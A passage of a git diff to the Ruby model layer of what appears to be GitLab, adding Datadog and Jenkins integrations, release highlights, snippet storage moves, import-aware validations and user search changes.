+ type: 'text', name: 'datadog_site',
+ placeholder: DEFAULT_SITE, default: DEFAULT_SITE,
+ help: 'Choose the Datadog site to send data to. Set to "datadoghq.eu" to send data to the EU site',
+ required: false
+ },
+ {
+ type: 'text', name: 'api_url', title: 'Custom URL',
+ help: '(Advanced) Define the full URL for your Datadog site directly',
+ required: false
+ },
+ {
+ type: 'password', name: 'api_key', title: 'API key',
+ help: "<a href=\"#{api_keys_url}\" target=\"_blank\">API key</a> used for authentication with Datadog",
+ required: true
+ },
+ {
+ type: 'text', name: 'datadog_service', title: 'Service', placeholder: 'gitlab-ci',
+ help: 'Name of this GitLab instance that all data will be tagged with'
+ },
+ {
+ type: 'text', name: 'datadog_env', title: 'Env',
+ help: 'The environment tag that traces will be tagged with'
+ }
+ ]
+ end
+
+ def compose_service_hook
+ hook = service_hook || build_service_hook
+ hook.url = hook_url
+ hook.save
+ end
+
+ def hook_url
+ url = api_url.presence || sprintf(URL_TEMPLATE, datadog_site: datadog_site)
+ url = URI.parse(url)
+ url.path = File.join(url.path || '/', api_key)
+ query = { service: datadog_service, env: datadog_env }.compact
+ url.query = query.to_query unless query.empty?
+ url.to_s
+ end
+
+ def api_keys_url
+ return URL_API_KEYS_DOCS unless datadog_site.presence
+
+ sprintf(URL_TEMPLATE_API_KEYS, datadog_site: datadog_site)
+ end
+
+ def execute(data)
+ return if project.disabled_services.include?(to_param)
+
+ object_kind = data[:object_kind]
+ object_kind = 'job' if object_kind == 'build'
+ return unless supported_events.include?(object_kind)
+
+ service_hook.execute(data, "#{object_kind} hook")
+ end
+
+ def test(data)
+ begin
+ result = execute(data)
+ return { success: false, result: result[:message] } if result[:http_status] != 200
+ rescue StandardError => error
+ return { success: false, result: error }
+ end
+
+ { success: true, result: result[:message] }
+ end
+end
diff --git a/app/models/project_services/jenkins_service.rb b/app/models/project_services/jenkins_service.rb
new file mode 100644
index 00000000000..63ecfc66877
--- /dev/null
+++ b/app/models/project_services/jenkins_service.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+class JenkinsService < CiService
+ prop_accessor :jenkins_url, :project_name, :username, :password
+
+ before_update :reset_password
+
+ validates :jenkins_url, presence: true, addressable_url: true, if: :activated?
+ validates :project_name, presence: true, if: :activated?
+ validates :username, presence: true, if: ->(service) { service.activated? && service.password_touched? && service.password.present? }
+
+ default_value_for :push_events, true
+ default_value_for :merge_requests_events, false
+ default_value_for :tag_push_events, false
+
+ after_save :compose_service_hook, if: :activated?
+
+ def reset_password
+ # don't reset the password if a new one is provided
+ if (jenkins_url_changed? || username.blank?) && !password_touched?
+ self.password = nil
+ end
+ end
+
+ def compose_service_hook
+ hook = service_hook || build_service_hook
+ hook.url = hook_url
+ hook.save
+ end
+
+ def execute(data)
+ return if project.disabled_services.include?(to_param)
+ return unless supported_events.include?(data[:object_kind])
+
+ service_hook.execute(data, "#{data[:object_kind]}_hook")
+ end
+
+ def test(data)
+ begin
+ result = execute(data)
+ return { success: false, result: result[:message] } if result[:http_status] != 200
+ rescue StandardError => error
+ return { success: false, result: error }
+ end
+
+ { success: true, result: result[:message] }
+ end
+
+ def hook_url
+ url = URI.parse(jenkins_url)
+ url.path = File.join(url.path || '/', "project/#{project_name}")
+ url.user = ERB::Util.url_encode(username) unless username.blank?
+ url.password = ERB::Util.url_encode(password) unless password.blank?
+ url.to_s
+ end
+
+ def self.supported_events
+ %w(push merge_request tag_push)
+ end
+
+ def title
+ 'Jenkins CI'
+ end
+
+ def description
+ 'An extendable open source continuous integration server'
+ end
+
+ def help
+ "You must have installed the Git Plugin and GitLab Plugin in Jenkins. [More information](#{Gitlab::Routing.url_helpers.help_page_url('integration/jenkins')})"
+ end
+
+ def self.to_param
+ 'jenkins'
+ end
+
+ def fields
+ [
+ {
+ type: 'text', name: 'jenkins_url',
+ placeholder: 'Jenkins URL like http://jenkins.example.com'
+ },
+ {
+ type: 'text', name: 'project_name', placeholder: 'Project Name',
+ help: 'The URL-friendly project name. Example: my_project_name'
+ },
+ { type: 'text', name: 'username' },
+ { type: 'password', name: 'password' }
+ ]
+ end
+end
diff --git a/app/models/project_services/jira_service.rb b/app/models/project_services/jira_service.rb
index 7814bdb7106..1f4abfc1aca 100644
--- a/app/models/project_services/jira_service.rb
+++ b/app/models/project_services/jira_service.rb
@@ -122,12 +122,15 @@ class JiraService < IssueTrackerService
end
def fields
+ transition_id_help_path = help_page_path('user/project/integrations/jira', anchor: 'obtaining-a-transition-id')
+ transition_id_help_link_start = '<a href="%{transition_id_help_path}" target="_blank" rel="noopener noreferrer">'.html_safe % { transition_id_help_path: transition_id_help_path }
+
[
{ type: 'text', name: 'url', title: s_('JiraService|Web URL'), placeholder: 'https://jira.example.com', required: true },
{ type: 'text', name: 'api_url', title: s_('JiraService|Jira API URL'), placeholder: s_('JiraService|If different from Web URL') },
{ type: 'text', name: 'username', title: s_('JiraService|Username or Email'), placeholder: s_('JiraService|Use a username for server version and an email for cloud version'), required: true },
{ type: 'password', name: 'password', title: s_('JiraService|Password or API token'), placeholder: s_('JiraService|Use a password for server version and an API token for cloud version'), required: true },
- { type: 'text', name: 'jira_issue_transition_id', title: s_('JiraService|Transition ID(s)'), placeholder: s_('JiraService|Use , or ; to separate multiple transition IDs') }
+ { type: 'text', name: 'jira_issue_transition_id', title: s_('JiraService|Jira workflow transition IDs'), placeholder: s_('JiraService|For example, 12, 24'), help: s_('JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}'.html_safe % { link_start: transition_id_help_link_start, link_end: '</a>'.html_safe }) }
]
end
diff --git a/app/models/project_services/mock_deployment_service.rb b/app/models/project_services/mock_deployment_service.rb
index f80819de9fb..e55335d9aae 100644
--- a/app/models/project_services/mock_deployment_service.rb
+++ b/app/models/project_services/mock_deployment_service.rb
@@ -1,5 +1,9 @@
# frozen_string_literal: true
+# Deprecated, to be deleted in 13.8 (https://gitlab.com/gitlab-org/gitlab/-/issues/293914)
+#
+# This was a class used only in development environment but became unusable
+# since DeploymentService was deleted
class MockDeploymentService < Service
default_value_for :category, 'deployment'
@@ -32,5 +36,3 @@ class MockDeploymentService < Service
false
end
end
-
-MockDeploymentService.prepend_if_ee('EE::MockDeploymentService')
diff --git a/app/models/project_services/pipelines_email_service.rb b/app/models/project_services/pipelines_email_service.rb
index c11b2f7cc65..8af4cd952c9 100644
--- a/app/models/project_services/pipelines_email_service.rb
+++ b/app/models/project_services/pipelines_email_service.rb
@@ -40,6 +40,10 @@ class PipelinesEmailService < Service
%w[pipeline]
end
+ def self.default_test_event
+ 'pipeline'
+ end
+
def execute(data, force: false)
return unless supported_events.include?(data[:object_kind])
return unless force || should_pipeline_be_notified?(data)
diff --git a/app/models/project_statistics.rb b/app/models/project_statistics.rb
index c11a7fea1c6..7605ef54d5b 100644
--- a/app/models/project_statistics.rb
+++ b/app/models/project_statistics.rb
@@ -73,8 +73,6 @@ class ProjectStatistics < ApplicationRecord
end
def update_uploads_size
- return uploads_size unless Feature.enabled?(:count_uploads_size_in_storage_stats, project)
-
self.uploads_size = project.uploads.sum(:size)
end
diff --git a/app/models/protected_branch.rb b/app/models/protected_branch.rb
index 599c174ddd7..ad418a47476 100644
--- a/app/models/protected_branch.rb
+++ b/app/models/protected_branch.rb
@@ -48,6 +48,10 @@ class ProtectedBranch < ApplicationRecord
where(fuzzy_arel_match(:name, query.downcase))
end
+
+ def allow_multiple?(type)
+ type == :push
+ end
end
ProtectedBranch.prepend_if_ee('EE::ProtectedBranch')
diff --git a/app/models/protected_branch/push_access_level.rb b/app/models/protected_branch/push_access_level.rb
index 63d577a4866..f28440f2444 100644
--- a/app/models/protected_branch/push_access_level.rb
+++ b/app/models/protected_branch/push_access_level.rb
@@ -18,6 +18,14 @@ class ProtectedBranch::PushAccessLevel < ApplicationRecord
end
end
+ def check_access(user)
+ if Feature.enabled?(:deploy_keys_on_protected_branches, project) && user && deploy_key.present?
+ return true if user.can?(:read_project, project) && enabled_deploy_key_for_user?(deploy_key, user)
+ end
+
+ super
+ end
+
private
def validate_deploy_key_membership
@@ -27,4 +35,8 @@ class ProtectedBranch::PushAccessLevel < ApplicationRecord
self.errors.add(:deploy_key, 'is not enabled for this project')
end
end
+
+ def enabled_deploy_key_for_user?(deploy_key, user)
+ deploy_key.user_id == user.id && DeployKey.with_write_access_for_project(protected_branch.project, deploy_key: deploy_key).any?
+ end
end
diff --git a/app/models/raw_usage_data.rb b/app/models/raw_usage_data.rb
index 18cee55d06e..06cd4ad3f6c 100644
--- a/app/models/raw_usage_data.rb
+++ b/app/models/raw_usage_data.rb
@@ -5,6 +5,6 @@ class RawUsageData < ApplicationRecord
validates :recorded_at, presence: true, uniqueness: true
def update_sent_at!
- self.update_column(:sent_at, Time.current) if Feature.enabled?(:save_raw_usage_data)
+ self.update_column(:sent_at, Time.current)
end
end
diff --git a/app/models/redirect_route.rb b/app/models/redirect_route.rb
index 22f60802257..749f4a87818 100644
--- a/app/models/redirect_route.rb
+++ b/app/models/redirect_route.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
class RedirectRoute < ApplicationRecord
+ include CaseSensitivity
+
belongs_to :source, polymorphic: true # rubocop:disable Cop/PolymorphicAssociations
validates :source, presence: true
diff --git a/app/models/release.rb b/app/models/release.rb
index c56df0a6aa3..bebf91fb247 100644
--- a/app/models/release.rb
+++ b/app/models/release.rb
@@ -29,6 +29,8 @@ class Release < ApplicationRecord
scope :preloaded, -> { includes(:evidences, :milestones, project: [:project_feature, :route, { namespace: :route }]) }
scope :with_project_and_namespace, -> { includes(project: :namespace) }
scope :recent, -> { sorted.limit(MAX_NUMBER_TO_DISPLAY) }
+ scope :without_evidence, -> { left_joins(:evidences).where(::Releases::Evidence.arel_table[:id].eq(nil)) }
+ scope :released_within_2hrs, -> { where(released_at: Time.zone.now - 1.hour..Time.zone.now + 1.hour) }
# Sorting
scope :order_created, -> { reorder('created_at ASC') }
diff --git a/app/models/release_highlight.rb b/app/models/release_highlight.rb
new file mode 100644
index 00000000000..1efba6380e9
--- /dev/null
+++ b/app/models/release_highlight.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+class ReleaseHighlight
+ CACHE_DURATION = 1.hour
+ FILES_PATH = Rails.root.join('data', 'whats_new', '*.yml')
+ RELEASE_VERSIONS_IN_A_YEAR = 12
+
+ def self.for_version(version:)
+ index = self.versions.index(version)
+
+ return if index.nil?
+
+ page = index + 1
+
+ self.paginated(page: page)
+ end
+
+ def self.paginated(page: 1)
+ key = self.cache_key("items:page-#{page}")
+
+ Rails.cache.fetch(key, expires_in: CACHE_DURATION) do
+ items = self.load_items(page: page)
+
+ next if items.nil?
+
+ QueryResult.new(items: items, next_page: next_page(current_page: page))
+ end
+ end
+
+ def self.load_items(page:)
+ index = page - 1
+ file_path = file_paths[index]
+
+ return if file_path.nil?
+
+ file = File.read(file_path)
+ items = YAML.safe_load(file, permitted_classes: [Date])
+
+ platform = Gitlab.com? ? 'gitlab-com' : 'self-managed'
+
+ items&.map! do |item|
+ next unless item[platform]
+
+ begin
+ item.tap {|i| i['body'] = Kramdown::Document.new(i['body']).to_html }
+ rescue => e
+ Gitlab::ErrorTracking.track_exception(e, file_path: file_path)
+
+ next
+ end
+ end
+
+ items&.compact
+ rescue Psych::Exception => e
+ Gitlab::ErrorTracking.track_exception(e, file_path: file_path)
+
+ nil
+ end
+
+ def self.file_paths
+ @file_paths ||= Rails.cache.fetch(self.cache_key('file_paths'), expires_in: CACHE_DURATION) do
+ Dir.glob(FILES_PATH).sort.reverse
+ end
+ end
+
+ def self.cache_key(key)
+ ['release_highlight', key, Gitlab.revision].join(':')
+ end
+
+ def self.next_page(current_page: 1)
+ next_page = current_page + 1
+ next_index = next_page - 1
+
+ next_page if self.file_paths[next_index]
+ end
+
+ def self.most_recent_item_count
+ key = self.cache_key('recent_item_count')
+
+ Gitlab::ProcessMemoryCache.cache_backend.fetch(key, expires_in: CACHE_DURATION) do
+ self.paginated&.items&.count
+ end
+ end
+
+ def self.versions
+ key = self.cache_key('versions')
+
+ Gitlab::ProcessMemoryCache.cache_backend.fetch(key, expires_in: CACHE_DURATION) do
+ versions = self.file_paths.first(RELEASE_VERSIONS_IN_A_YEAR).map do |path|
+ /\d*\_(\d*\_\d*)\.yml$/.match(path).captures[0].gsub(/0(?=\d)/, "").tr("_", ".")
+ end
+
+ versions.uniq
+ end
+ end
+
+ QueryResult = Struct.new(:items, :next_page, keyword_init: true) do
+ include Enumerable
+
+ delegate :each, to: :items
+ end
+end
diff --git a/app/models/repository.rb b/app/models/repository.rb
index d4fd202b966..93f22dbe122 100644
--- a/app/models/repository.rb
+++ b/app/models/repository.rb
@@ -513,6 +513,9 @@ class Repository
# Don't attempt to return a special result if there is no blob at all
return unless blob
+ # Don't attempt to return a special result if this can't be a README
+ return blob unless Gitlab::FileDetector.type_of(blob.name) == :readme
+
# Don't attempt to return a special result unless we're looking at HEAD
return blob unless head_commit&.sha == sha
@@ -615,7 +618,7 @@ class Repository
end
def readme_path
- readme&.path
+ head_tree&.readme_path
end
cache_method :readme_path
diff --git a/app/models/resource_event.rb b/app/models/resource_event.rb
index 26dcda2630a..54fa4137f73 100644
--- a/app/models/resource_event.rb
+++ b/app/models/resource_event.rb
@@ -30,14 +30,6 @@ class ResourceEvent < ApplicationRecord
return true if issuable_count == 1
- # if none of issuable IDs is set, check explicitly if nested issuable
- # object is set, this is used during project import
- if issuable_count == 0 && importing?
- issuable_count = self.class.issuable_attrs.count { |attr| self.public_send(attr) } # rubocop:disable GitlabSecurity/PublicSend
-
- return true if issuable_count == 1
- end
-
errors.add(
:base, _("Exactly one of %{attributes} is required") %
{ attributes: self.class.issuable_attrs.join(', ') }
diff --git a/app/models/resource_label_event.rb b/app/models/resource_label_event.rb
index 18e2944a9ca..57a3b568c53 100644
--- a/app/models/resource_label_event.rb
+++ b/app/models/resource_label_event.rb
@@ -12,10 +12,9 @@ class ResourceLabelEvent < ResourceEvent
scope :inc_relations, -> { includes(:label, :user) }
validates :label, presence: { unless: :importing? }, on: :create
- validate :exactly_one_issuable
+ validate :exactly_one_issuable, unless: :importing?
after_save :expire_etag_cache
- after_save :usage_metrics
after_destroy :expire_etag_cache
enum action: {
@@ -114,16 +113,6 @@ class ResourceLabelEvent < ResourceEvent
def discussion_id_key
[self.class.name, created_at, user_id]
end
-
- def for_issue?
- issue_id.present?
- end
-
- def usage_metrics
- return unless for_issue?
-
- Gitlab::UsageDataCounters::IssueActivityUniqueCounter.track_issue_label_changed_action(author: user)
- end
end
ResourceLabelEvent.prepend_if_ee('EE::ResourceLabelEvent')
diff --git a/app/models/resource_state_event.rb b/app/models/resource_state_event.rb
index 6475633868a..73eb4987143 100644
--- a/app/models/resource_state_event.rb
+++ b/app/models/resource_state_event.rb
@@ -11,7 +11,7 @@ class ResourceStateEvent < ResourceEvent
# state is used for issue and merge request states.
enum state: Issue.available_states.merge(MergeRequest.available_states).merge(reopened: 5)
- after_save :usage_metrics
+ after_create :issue_usage_metrics
def self.issuable_attrs
%i(issue merge_request).freeze
@@ -27,7 +27,7 @@ class ResourceStateEvent < ResourceEvent
private
- def usage_metrics
+ def issue_usage_metrics
return unless for_issue?
case state
diff --git a/app/models/resource_timebox_event.rb b/app/models/resource_timebox_event.rb
index ac164783945..71077758b69 100644
--- a/app/models/resource_timebox_event.rb
+++ b/app/models/resource_timebox_event.rb
@@ -13,7 +13,7 @@ class ResourceTimeboxEvent < ResourceEvent
remove: 2
}
- after_save :usage_metrics
+ after_create :issue_usage_metrics
def self.issuable_attrs
%i(issue merge_request).freeze
@@ -25,7 +25,13 @@ class ResourceTimeboxEvent < ResourceEvent
private
- def usage_metrics
+ def for_issue?
+ issue_id.present?
+ end
+
+ def issue_usage_metrics
+ return unless for_issue?
+
case self
when ResourceMilestoneEvent
Gitlab::UsageDataCounters::IssueActivityUniqueCounter.track_issue_milestone_changed_action(author: user)
diff --git a/app/models/route.rb b/app/models/route.rb
index fe4846b3be5..fcc8459d6e5 100644
--- a/app/models/route.rb
+++ b/app/models/route.rb
@@ -4,7 +4,7 @@ class Route < ApplicationRecord
include CaseSensitivity
include Gitlab::SQL::Pattern
- belongs_to :source, polymorphic: true # rubocop:disable Cop/PolymorphicAssociations
+ belongs_to :source, polymorphic: true, inverse_of: :route # rubocop:disable Cop/PolymorphicAssociations
validates :source, presence: true
validates :path,
diff --git a/app/models/sentry_issue.rb b/app/models/sentry_issue.rb
index 30f4026e633..fec1a55f17d 100644
--- a/app/models/sentry_issue.rb
+++ b/app/models/sentry_issue.rb
@@ -1,9 +1,12 @@
# frozen_string_literal: true
class SentryIssue < ApplicationRecord
+ include Importable
+
belongs_to :issue
- validates :issue, uniqueness: true, presence: true
+ validates :issue, uniqueness: true
+ validates :issue, presence: true, unless: :importing?
validates :sentry_issue_identifier, presence: true
validate :ensure_sentry_issue_identifier_is_unique_per_project
diff --git a/app/models/service.rb b/app/models/service.rb
index 2b6971954e3..57c099d6f04 100644
--- a/app/models/service.rb
+++ b/app/models/service.rb
@@ -11,15 +11,20 @@ class Service < ApplicationRecord
include EachBatch
SERVICE_NAMES = %w[
- alerts asana assembla bamboo bugzilla buildkite campfire confluence custom_issue_tracker discord
+ asana assembla bamboo bugzilla buildkite campfire confluence custom_issue_tracker datadog discord
drone_ci emails_on_push ewm external_wiki flowdock hangouts_chat hipchat irker jira
mattermost mattermost_slash_commands microsoft_teams packagist pipelines_email
pivotaltracker prometheus pushover redmine slack slack_slash_commands teamcity unify_circuit webex_teams youtrack
].freeze
+ PROJECT_SPECIFIC_SERVICE_NAMES = %w[
+ jenkins
+ alerts
+ ].freeze
+
# Fake services to help with local development.
DEV_SERVICE_NAMES = %w[
- mock_ci mock_deployment mock_monitoring
+ mock_ci mock_monitoring
].freeze
serialize :properties, JSON # rubocop:disable Cop/ActiveRecordSerialize
@@ -66,6 +71,7 @@ class Service < ApplicationRecord
scope :by_type, -> (type) { where(type: type) }
scope :by_active_flag, -> (flag) { where(active: flag) }
scope :inherit_from_id, -> (id) { where(inherit_from_id: id) }
+ scope :inherit, -> { where.not(inherit_from_id: nil) }
scope :for_group, -> (group) { where(group_id: group, type: available_services_types(include_project_specific: false)) }
scope :for_template, -> { where(template: true, type: available_services_types(include_project_specific: false)) }
scope :for_instance, -> { where(instance: true, type: available_services_types(include_project_specific: false)) }
@@ -147,6 +153,10 @@ class Service < ApplicationRecord
%w[commit push tag_push issue confidential_issue merge_request wiki_page]
end
+ def self.default_test_event
+ 'push'
+ end
+
def self.event_description(event)
ServicesHelper.service_event_description(event)
end
@@ -212,7 +222,7 @@ class Service < ApplicationRecord
end
def self.project_specific_services_names
- []
+ PROJECT_SPECIFIC_SERVICE_NAMES
end
def self.available_services_types(include_project_specific: true, include_dev: true)
@@ -270,7 +280,7 @@ class Service < ApplicationRecord
active.where(instance: true),
active.where(group_id: group_ids, inherit_from_id: nil)
]).order(Arel.sql("type ASC, array_position(#{array}::bigint[], services.group_id), instance DESC")).group_by(&:type).each do |type, records|
- build_from_integration(records.first, association => scope.id).save!
+ build_from_integration(records.first, association => scope.id).save
end
end
@@ -386,6 +396,10 @@ class Service < ApplicationRecord
self.class.supported_events
end
+ def default_test_event
+ self.class.default_test_event
+ end
+
def execute(data)
# implement inside child
end
@@ -402,6 +416,10 @@ class Service < ApplicationRecord
!instance? && !group_id
end
+ def parent
+ project || group
+ end
+
# Returns a hash of the properties that have been assigned a new value since last save,
# indicating their original values (attr => original value).
# ActiveRecord does not provide a mechanism to track changes in serialized keys,
diff --git a/app/models/snippet.rb b/app/models/snippet.rb
index dc370b46bda..817f9d014eb 100644
--- a/app/models/snippet.rb
+++ b/app/models/snippet.rb
@@ -15,6 +15,7 @@ class Snippet < ApplicationRecord
include FromUnion
include IgnorableColumns
include HasRepository
+ include CanMoveRepositoryStorage
include AfterCommitQueue
extend ::Gitlab::Utils::Override
@@ -43,6 +44,7 @@ class Snippet < ApplicationRecord
has_many :notes, as: :noteable, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
has_many :user_mentions, class_name: "SnippetUserMention", dependent: :delete_all # rubocop:disable Cop/ActiveRecordDependent
has_one :snippet_repository, inverse_of: :snippet
+ has_many :repository_storage_moves, class_name: 'SnippetRepositoryStorageMove', inverse_of: :container
# We need to add the `dependent` in order to call the after_destroy callback
has_one :statistics, class_name: 'SnippetStatistics', dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
@@ -69,7 +71,6 @@ class Snippet < ApplicationRecord
validates :visibility_level, inclusion: { in: Gitlab::VisibilityLevel.values }
- after_save :store_mentions!, if: :any_mentionable_attributes_changed?
after_create :create_statistics
# Scopes
@@ -213,7 +214,8 @@ class Snippet < ApplicationRecord
def blobs
return [] unless repository_exists?
- repository.ls_files(default_branch).map { |file| Blob.lazy(repository, default_branch, file) }
+ branch = default_branch
+ list_files(branch).map { |file| Blob.lazy(repository, branch, file) }
end
def hook_attrs
diff --git a/app/models/snippet_blob.rb b/app/models/snippet_blob.rb
index cf1ab089829..bad24cc45f6 100644
--- a/app/models/snippet_blob.rb
+++ b/app/models/snippet_blob.rb
@@ -21,6 +21,10 @@ class SnippetBlob
data.bytesize
end
+ def commit_id
+ nil
+ end
+
def data
snippet.content
end
diff --git a/app/models/snippet_repository_storage_move.rb b/app/models/snippet_repository_storage_move.rb
new file mode 100644
index 00000000000..a365569bfa8
--- /dev/null
+++ b/app/models/snippet_repository_storage_move.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+# SnippetRepositoryStorageMove are details of repository storage moves for a
+# snippet. For example, moving a snippet to another gitaly node to help
+# balance storage capacity.
+class SnippetRepositoryStorageMove < ApplicationRecord
+ extend ::Gitlab::Utils::Override
+ include RepositoryStorageMovable
+
+ belongs_to :container, class_name: 'Snippet', inverse_of: :repository_storage_moves, foreign_key: :snippet_id
+ alias_attribute :snippet, :container
+
+ override :schedule_repository_storage_update_worker
+ def schedule_repository_storage_update_worker
+ # TODO https://gitlab.com/gitlab-org/gitlab/-/issues/218991
+ end
+
+ private
+
+ override :error_key
+ def error_key
+ :snippet
+ end
+end
diff --git a/app/models/suggestion.rb b/app/models/suggestion.rb
index 8c72bd5ae7e..ff564d87449 100644
--- a/app/models/suggestion.rb
+++ b/app/models/suggestion.rb
@@ -1,10 +1,11 @@
# frozen_string_literal: true
class Suggestion < ApplicationRecord
+ include Importable
include Suggestible
belongs_to :note, inverse_of: :suggestions
- validates :note, presence: true
+ validates :note, presence: true, unless: :importing?
validates :commit_id, presence: true, if: :applied?
delegate :position, :noteable, to: :note
diff --git a/app/models/system_note_metadata.rb b/app/models/system_note_metadata.rb
index 0ddf2c5fbcd..20107147b4f 100644
--- a/app/models/system_note_metadata.rb
+++ b/app/models/system_note_metadata.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
class SystemNoteMetadata < ApplicationRecord
+ include Importable
+
# These notes's action text might contain a reference that is external.
# We should always force a deep validation upon references that are found
# in this note type.
@@ -12,18 +14,19 @@ class SystemNoteMetadata < ApplicationRecord
moved merge
label milestone
relate unrelate
+ cloned
].freeze
ICON_TYPES = %w[
commit description merge confidential visible label assignee cross_reference
designs_added designs_modified designs_removed designs_discussion_added
- title time_tracking branch milestone discussion task moved
+ title time_tracking branch milestone discussion task moved cloned
opened closed merged duplicate locked unlocked outdated reviewer
tag due_date pinned_embed cherry_pick health_status approved unapproved
status alert_issue_added relate unrelate new_alert_added severity
].freeze
- validates :note, presence: true
+ validates :note, presence: true, unless: :importing?
validates :action, inclusion: { in: :icon_types }, allow_nil: true
belongs_to :note
diff --git a/app/models/terraform/state.rb b/app/models/terraform/state.rb
index d329b429c9d..1b99f310e1a 100644
--- a/app/models/terraform/state.rb
+++ b/app/models/terraform/state.rb
@@ -3,13 +3,6 @@
module Terraform
class State < ApplicationRecord
include UsageStatistics
- include FileStoreMounter
- include IgnorableColumns
- # These columns are being removed since geo replication falls to the versioned state
- # Tracking in https://gitlab.com/gitlab-org/gitlab/-/issues/258262
- ignore_columns %i[verification_failure verification_retry_at verified_at verification_retry_count verification_checksum],
- remove_with: '13.7',
- remove_after: '2020-12-22'
HEX_REGEXP = %r{\A\h+\z}.freeze
UUID_LENGTH = 32
@@ -35,20 +28,9 @@ module Terraform
format: { with: HEX_REGEXP, message: 'only allows hex characters' }
default_value_for(:uuid, allows_nil: false) { SecureRandom.hex(UUID_LENGTH / 2) }
- default_value_for(:versioning_enabled, true)
-
- mount_file_store_uploader StateUploader
-
- def file_store
- super || StateUploader.default_store
- end
def latest_file
- if versioning_enabled?
- latest_version&.file
- else
- latest_version&.file || file
- end
+ latest_version&.file
end
def locked?
@@ -56,13 +38,14 @@ module Terraform
end
def update_file!(data, version:, build:)
+ # This check is required to maintain backwards compatibility with
+ # states that were created prior to versioning being supported.
+ # This can be removed in 14.0 when support for these states is dropped.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/258960
if versioning_enabled?
create_new_version!(data: data, version: version, build: build)
- elsif latest_version.present?
- migrate_legacy_version!(data: data, version: version, build: build)
else
- self.file = data
- save!
+ migrate_legacy_version!(data: data, version: version, build: build)
end
end
diff --git a/app/models/terraform/state_version.rb b/app/models/terraform/state_version.rb
index cc5d94b8e09..19d708616fc 100644
--- a/app/models/terraform/state_version.rb
+++ b/app/models/terraform/state_version.rb
@@ -10,9 +10,9 @@ module Terraform
scope :ordered_by_version_desc, -> { order(version: :desc) }
- default_value_for(:file_store) { VersionedStateUploader.default_store }
+ default_value_for(:file_store) { StateUploader.default_store }
- mount_file_store_uploader VersionedStateUploader
+ mount_file_store_uploader StateUploader
delegate :project_id, :uuid, to: :terraform_state, allow_nil: true
diff --git a/app/models/timelog.rb b/app/models/timelog.rb
index 60aaaaef831..f4debedb656 100644
--- a/app/models/timelog.rb
+++ b/app/models/timelog.rb
@@ -1,8 +1,10 @@
# frozen_string_literal: true
class Timelog < ApplicationRecord
+ include Importable
+
validates :time_spent, :user, presence: true
- validate :issuable_id_is_present
+ validate :issuable_id_is_present, unless: :importing?
belongs_to :issue, touch: true
belongs_to :merge_request, touch: true
diff --git a/app/models/todo.rb b/app/models/todo.rb
index 0d893b25253..12dc9ce0fe6 100644
--- a/app/models/todo.rb
+++ b/app/models/todo.rb
@@ -139,13 +139,11 @@ class Todo < ApplicationRecord
# Todos with highest priority first then oldest todos
# Need to order by created_at last because of differences on Mysql and Postgres when joining by type "Merge_request/Issue"
def order_by_labels_priority
- params = {
+ highest_priority = highest_label_priority(
target_type_column: "todos.target_type",
target_column: "todos.target_id",
project_column: "todos.project_id"
- }
-
- highest_priority = highest_label_priority(params).to_sql
+ ).to_sql
select("#{table_name}.*, (#{highest_priority}) AS highest_priority")
.order(Gitlab::Database.nulls_last_order('highest_priority', 'ASC'))
diff --git a/app/models/user.rb b/app/models/user.rb
index be64e057d59..c735f20b92c 100644
--- a/app/models/user.rb
+++ b/app/models/user.rb
@@ -25,11 +25,14 @@ class User < ApplicationRecord
include IgnorableColumns
include UpdateHighestRole
include HasUserType
+ include Gitlab::Auth::Otp::Fortinet
DEFAULT_NOTIFICATION_LEVEL = :participating
INSTANCE_ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT = 10
+ BLOCKED_PENDING_APPROVAL_STATE = 'blocked_pending_approval'.freeze
+
add_authentication_token_field :incoming_email_token, token_generator: -> { SecureRandom.hex.to_i(16).to_s(36) }
add_authentication_token_field :feed_token
add_authentication_token_field :static_object_token
@@ -166,6 +169,7 @@ class User < ApplicationRecord
has_many :issue_assignees, inverse_of: :assignee
has_many :merge_request_assignees, inverse_of: :assignee
+ has_many :merge_request_reviewers, inverse_of: :reviewer
has_many :assigned_issues, class_name: "Issue", through: :issue_assignees, source: :issue
has_many :assigned_merge_requests, class_name: "MergeRequest", through: :merge_request_assignees, source: :merge_request
@@ -286,6 +290,7 @@ class User < ApplicationRecord
delegate :path, to: :namespace, allow_nil: true, prefix: true
delegate :job_title, :job_title=, to: :user_detail, allow_nil: true
+ delegate :other_role, :other_role=, to: :user_detail, allow_nil: true
delegate :bio, :bio=, :bio_html, to: :user_detail, allow_nil: true
delegate :webauthn_xid, :webauthn_xid=, to: :user_detail, allow_nil: true
@@ -587,11 +592,7 @@ class User < ApplicationRecord
sanitized_order_sql = Arel.sql(sanitize_sql_array([order, query: query]))
- where(
- fuzzy_arel_match(:name, query, lower_exact_match: true)
- .or(fuzzy_arel_match(:username, query, lower_exact_match: true))
- .or(arel_table[:email].eq(query))
- ).reorder(sanitized_order_sql, :name)
+ search_with_secondary_emails(query).reorder(sanitized_order_sql, :name)
end
# Limits the result set to users _not_ in the given query/list of IDs.
@@ -606,6 +607,18 @@ class User < ApplicationRecord
reorder(:name)
end
+ def search_without_secondary_emails(query)
+ return none if query.blank?
+
+ query = query.downcase
+
+ where(
+ fuzzy_arel_match(:name, query, lower_exact_match: true)
+ .or(fuzzy_arel_match(:username, query, lower_exact_match: true))
+ .or(arel_table[:email].eq(query))
+ )
+ end
+
# searches user by given pattern
# it compares name, email, username fields and user's secondary emails with given pattern
# This method uses ILIKE on PostgreSQL.
@@ -616,15 +629,16 @@ class User < ApplicationRecord
query = query.downcase
email_table = Email.arel_table
- matched_by_emails_user_ids = email_table
+ matched_by_email_user_id = email_table
.project(email_table[:user_id])
.where(email_table[:email].eq(query))
+ .take(1) # at most 1 record as there is a unique constraint
where(
fuzzy_arel_match(:name, query)
.or(fuzzy_arel_match(:username, query))
.or(arel_table[:email].eq(query))
- .or(arel_table[:id].in(matched_by_emails_user_ids))
+ .or(arel_table[:id].eq(matched_by_email_user_id))
)
end
@@ -708,6 +722,7 @@ class User < ApplicationRecord
u.name = 'GitLab Security Bot'
